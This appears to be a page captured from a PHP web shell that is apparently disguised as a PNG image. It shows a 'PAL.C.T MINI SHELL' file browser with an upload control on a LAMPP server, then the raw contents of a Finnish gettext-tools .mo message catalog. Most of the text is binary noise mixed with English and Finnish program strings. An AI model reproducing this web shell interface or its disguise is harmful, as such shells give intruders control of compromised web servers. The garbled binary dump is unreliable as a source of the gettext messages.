php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /opt/lampp/share/locale/fi/LC_MESSAGES/
upload
files >> //opt/lampp/share/locale/fi/LC_MESSAGES/gettext-tools.mo

L|H;I>75B2:u9,O
*g
*

,
 

!!6X3h.4	
*1;RJ#WF{,;+@\ipR9-?gIk
y*&,*;Yv""#3JZ<\>>$4YNxX (3\|!:$Mr	"*<gF->]vGN&.u.-*,,<i	+*=W!m$@!=!<"6Z"F"G"< #2]#K#/#.$	;$/E$#u$$$0$$=%D%0H%>y%
%
%%f&3s&5&N&,'
C(&Q(Rx(2(@(?)U)p)e)a)ES*F**J*nG++++++,,/@-p---4-8-'&.%N.&t.).,.3.(&/O/l///2/9/40$<0)a0*0a0k11C1&1%2)2"A23d2%2!2+2#3403#e3(3'3,3*424O4+e4$424E4!/5Q5l555 55"56"6=6Y6Ah6S6*64)70^7477#7!78
/83:8:n8-8:89&*9*Q9%|99-99|(&	^]F16N0{w-5cK\P>T!b)8 j+J.?gv,SYe`Lidp'fQB/$%sRazo3_mhrt;Z7E4XHy[I}WA:@V
*~Un#lk
OuC"2MxqG=<D      --clear-fuzzy           set all messages non-'fuzzy'
      --qt                    Qt mode: generate a Qt .qm file
      --set-fuzzy             set all messages 'fuzzy'
      --sort-output           generate sorted output
  -V, --version               output version information and exit
  -f, --use-fuzzy             use fuzzy entries in output
  -h, --help                  display this help and exit
  -i, --input=INPUTFILE       input PO file
  -l, --locale=LOCALE         locale name, either language or language_COUNTRY
  INPUTFILE ...               input files
  filename.po ...             input files
 done.
%d translated message%d translated messages%s and %s are mutually exclusive%s subprocess%s subprocess failed%s subprocess got fatal signal %d%s%s: warning: %s: warning: source file contains fuzzy translation', %d fuzzy translation, %d fuzzy translations, %d untranslated message, %d untranslated messages<stdin><unnamed>A special builtin command called '0' outputs the translation, followed by a
null byte.  The output of "msgexec 0" is suitable as input for "xargs -0".
Bruno HaibleC# compiler not found, try installing pnetC# virtual machine not found, try installing pnetConvert binary message catalog to Uniforum style .po file.
Copyright (C) %s Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Danilo SeganEnglish translations for %s packageGenerate binary message catalog from textual translation description.
If input file is -, standard input is read.
If output file is -, output is written to standard output.
Informative output:
Input file interpretation:
Input file syntax:
Input files contain messages in different encodings, UTF-8 among others.
Converting the output to UTF-8.
Installing GNU libiconv and then reinstalling GNU gettext
would fix this problem.
Java compiler not found, try installing gcj or set $JAVACJava virtual machine not found, try installing gij or set $JAVALanguage specific options:
Mandatory arguments to long options are mandatory for short options too.
Mandatory arguments to long options are mandatory for short options too.
Similarly for optional arguments.
Operation mode:
Output details:
Output format:
Peter MillerPrint the machine's hostname.
Report bugs to <bug-gnu-gettext@gnu.org>.
The FILTER can be any program that reads a translation from standard input
and writes a modified translation to standard output.
Try `%s --help' for more information.
Ulrich DrepperUnknown system errorUsage: %s [OPTION]
Usage: %s [OPTION] COMMAND [COMMAND-OPTION]
Usage: %s [OPTION] FILTER [FILTER-OPTION]
Usage: %s [OPTION] INPUTFILE
Usage: %s [OPTION] URL FILE
Usage: %s [OPTION] [FILE]...
Usage: %s [OPTION] [INPUTFILE]
Usage: %s [OPTION] [INPUTFILE]...
Usage: %s [OPTION] def.po ref.pot
Usage: %s [OPTION] filename.po ...
Valid arguments are:Written by %s and %s.
Written by %s.
`a format specification for argument %u doesn't exist in '%s'a format specification for argument '%s' doesn't exist in '%s'a format specification for argument {%u} doesn't exist in '%s'ambiguous argument %s for %sat least two files must be specifiedat most one input file allowedbut some messages have one plural formbut some messages have %lu plural formsbut some messages have only one plural formbut some messages have only %lu plural formscannot create pipecannot open backup file "%s" for writingcannot remove temporary file %scompilation of C# class failedcould not get host nameduplicate message definitionempty `msgstr' entry ignoredend-of-file within stringend-of-line within stringerror after reading "%s"error reading "%s"error while opening "%s" for readingerror while reading "%s"error writing "%s"error writing stdoutexactly 2 input files requiredexactly one input file requiredexpected two argumentsfdopen() failedfile "%s" is not in GNU .mo formatfound %d fatal errorfound %d fatal errorsfuzzy `msgstr' entry ignoredinput file doesn't contain a header entry with a charset specificationinvalid argument %s for %sinvalid nplurals valueinvalid plural expressionlanguage `%s' unknownmemory exhaustedmissing `msgid_plural' sectionmissing `msgstr' sectionmissing `msgstr[]' sectionmissing command nameno input file givenno input files givennplurals = %lunplurals = %lu but plural expression can produce values as large as %luplural expression can produce arithmetic exceptions, possibly division by zeroplural expression can produce division by zeroplural expression can produce integer overflowplural expression can produce negative valuesplural handling is a GNU gettext extensionstandard outputthis is the location of the first definitionthis message is untranslatedtoo many argumentswarning: warning: PO file header fuzzy
warning: PO file header missing or invalid
warning: charset conversion will not work
warning: older versions of msgfmt will give an error on this
warning: syntax errorwarning: this message is not usedwarning: unterminated key/value pairwarning: unterminated stringwrite errorwrite to stdout failedProject-Id-Version: gettext-tools 0.17
Report-Msgid-Bugs-To: bug-gnu-gettext@gnu.org
POT-Creation-Date: 2010-06-04 01:57+0200
PO-Revision-Date: 2009-06-06 20:36+0300
Last-Translator: Lauri Nurmi <lanurmi@iki.fi>
Language-Team: Finnish <translation-team-fi@lists.sourceforge.net>
Language: fi
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Plural-Forms: nplurals=2; plural=(n != 1);
      --clear-fuzzy           aseta kaikki viestit epävajaiksi
      --qt                    Qt-tila: luo Qt:n .qm-tiedosto
      --set-fuzzy             aseta kaikki viestit vajaiksi
      --sort-output           tuota lajiteltu tuloste
  -V, --version               tulosta ohjelman versiotiedot ja poistu
  -f, --use-fuzzy             käytä vajavuusmerkintöjä tulosteessa
  -h, --help                  näytä tämä ohje ja poistu
  -i, --input=SYÖTETIED       syöte-PO-tiedosto
  -l, --locale=MAA-ASETUSTO   maa-asetuston nimi, joko kieli tai kieli_MAA
  SYÖTETIEDOSTO ...           syötetiedostot
  tiedosto.po ...             syötetiedostot
 valmis.
%d käännetty viesti%d käännettyä viestiä%s ja %s ovat toisensa poissulkevia%s aliprosessi%s aliprosessi epäonnistui%s aliprosessi vastaanotti fataalin signaalin %d%s%s: varoitus: %s: varoitus: lähdetiedosto sisältää vajaan käännöksen”, %d vajaa käännös, %d vajaata käännöstä, %d kääntämätön viesti, %d kääntämätöntä viestiä<vakiosyöte><nimetön>Erityinen sisäinen komento nimeltä ”0” tulostaa käännöksen ja nollatavun.
”msgexec 0”:n tuloste kelpaa syötteeksi ”xargs -0”:lle.
Bruno HaibleC#-kääntäjää ei löytynyt, yritä asentaa pnetC#-virtuaalikonetta ei löytynyt, yritä asentaa pnetMuunna binäärimuotoinen viestiluettelo Uniforum-tyyliseksi .po-tiedostoksi.
Tekijänoikeudet © %s Free Software Foundation, Inc.
Lisenssi GPLv3+: GNU GPL versio 3 tai myöhempi <http://gnu.org/licenses/gpl.html>
Tämä on vapaa ohjelmisto ja sen muuttaminen ja levittäminen edelleen on sallittua.
Ohjelmalle EI ANNETA TAKUUTA lain sallimissa rajoissa.
Danilo ŠeganSuomenkielinen käännös %s-paketilleLuo binäärimuotoisia viestiluetteloita tekstimuotoisesta käännöskuvauksesta.
Jos syötetiedosto on -, luetaan vakiosyötettä.
Jos tulostiedosto on -, tuloste kirjoitetaan vakiotulosteeseen.
Selittävä tuloste:
Syötetiedoston tulkinta:
Syötetiedoston syntaksi:
Syötetiedosto sisältää viestejä eri merkistöissä, mm. UTF-8:na.
Muunnetaan tuloste UTF-8:ksi.
GNU libiconvin asennus ja GNU gettextin uudelleenasennus
sen jälkeen korjaisi tämän ongelman.
Java-kääntäjää ei löytynyt, yritä asentaa gcj tai aseta $JAVACJava-virtuaalikonetta ei löytynyt, yritä asentaa gij tai aseta $JAVAKielikohtaiset valitsimet:
Pitkien valitsinten pakolliset argumentit ovat pakollisia myös lyhyille.
Pitkien valitsinten pakolliset argumentit ovat pakollisia myös lyhyille.
Valinnaiset argumentit vastaavasti.
Toimintatila:
Tulosteen yksityiskohdat:
Tulosteen muoto:
Peter MillerNäytä laitteen konenimi.
Ilmoita ohjelmiston vioista osoitteeseen <bug-gnu-gettext@gnu.org>.
Ilmoita suomennoksen vioista listalle <translation-team-fi@lists.sourceforge.net>.
SUODATIN voi olla mikä tahansa ohjelma, joka lukee käännöksen vakiosyötteestä
ja kirjoittaa muutetun käännöksen vakiotulosteeseen.
Komento ”%s --help” antaa lisää tietoja.
Ulrich DrepperTuntematon järjestelmän virheKäyttö: %s [VALITSIN]
Käyttö: %s [VALITSIN] KOMENTO [KOMENNON VALITSIN]
Käyttö: %s [VALITSIN] SUODATIN [SUODATTIMEN VALITSIN]
Käyttö: %s [VALITSIN] SYÖTETIEDOSTO
Käyttö: %s [VALITSIN] URL TIEDOSTO
Käyttö: %s [VALITSIN] [TIEDOSTO]...
Käyttö: %s [VALITSIN] [SYÖTETIEDOSTO]
Käyttö: %s [VALITSIN] [SYÖTETIEDOSTO]...
Käyttö: %s [VALITSIN] tiedosto.po referenssi.pot
Käyttö: %s [VALITSIN] tiedosto.po ...
Kelvolliset argumentit ovat:Kirjoittaneet %s ja %s.
Kirjoittanut %s
”muotomäärittely argumentille %u ei ole '%s':ssämuotomäärittelyä argumentille '%s' ei löyty '%s':stämuotomäärittely argumentille {%u} ei ole '%s':ssämoniselitteinen argumentti %s %s:lleon annettava vähintään kaksi tiedostoaenintään yksi syötetiedosto on sallittumutta joillakin viesteillä on yksi monikkomuotomutta joillakin viesteillä on %lu monikkomuotoamutta joillakin viesteillä on vain yksi monikkomuotomutta joillakin viesteillä on vain %lu monikkomuotoaei voi luoda putkeaei voida avata varmuuskopiotiedostoa ”%s” kirjoittamista vartenväliaikaistiedostoa %s ei voi poistaaC#-luokan kääntäminen epäonnistuiei saatu isäntänimeäkaksinkertainen viestimäärittelytyhjä ”msgstr”-merkintä jätetty huomioimattatiedoston loppu merkkijonon sisällärivinvaihto merkkijonon sisällävirhe tiedoston ”%s” lukemisen jälkeenvirhe luettaessa tiedostoa ”%s”virhe avattaessa tiedostoa ”%s” lukemista vartenvirhe luettaessa tiedostoa ”%s”virhe kirjoitettaessa tiedostoa ”%s”virhe kirjoitettaessa vakiotulosteeseentarvitaan täsmälleen kaksi syötetiedostoatarvitaan täsmälleen yksi syötetiedostoodotettiin kahta argumenttiafdopen() epäonnistuitiedosto ”%s” ei ole GNU:n .mo-muodossa%d vakava virhe%d vakavaa virhettävajaa ”msgstr”-merkintä jätetty huomioimattasyötetiedosto ei sisällä merkistön määrittelevää otsakeriviävirheellinen argumentti %s %s:llevirheellinen nplurals-arvovirheellinen monikkolausekekieli ”%s” on tuntematonmuisti loppupuuttuva ”msgid_plural”-osiopuuttuva ”msgstr”-osiopuuttuva ”msgid_plural[]”-osiopuuttuva komentosyötetiedostoa ei annettusyötetiedostoja ei annettunplurals = %lunplurals = %lu, mutta monikkolauseke voi palauttaa jopa arvon %lumonikkolauseke voi aiheuttaa aritmeettisia poikkeuksia, mahdollisesti jaon nollallamonikkolauseke voi aiheuttaa jaon nollallamonikkolauseke voi aiheuttaa kokonaisluvun ylivuodonmonikkolauseke voi palauttaa negatiivisia arvojamonikkomuotojen käsittely on GNU gettext -laajennosvakiotulosteensimmäinen määrittely täällätämä viesti on kääntämättäliian monta argumenttiavaroitus: varoitus: PO-tiedoston otsake on merkitty vajaaksi
varoitus: PO-tiedoston otsake puuttuu tai on virheellinen
varoitus: merkistömuunnos ei tule toimimaan
varoitus: msgfmt:n vanhat versiot antavat tästä virheen
varoitus: syntaksivirhevaroitus: tätä viestiä ei käytetävaroitus: päättämätön avain/arvo-parivaroitus: päättämätön merkkijonokirjoitusvirhekirjoittaminen vakiotulosteeseen epäonnistui
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`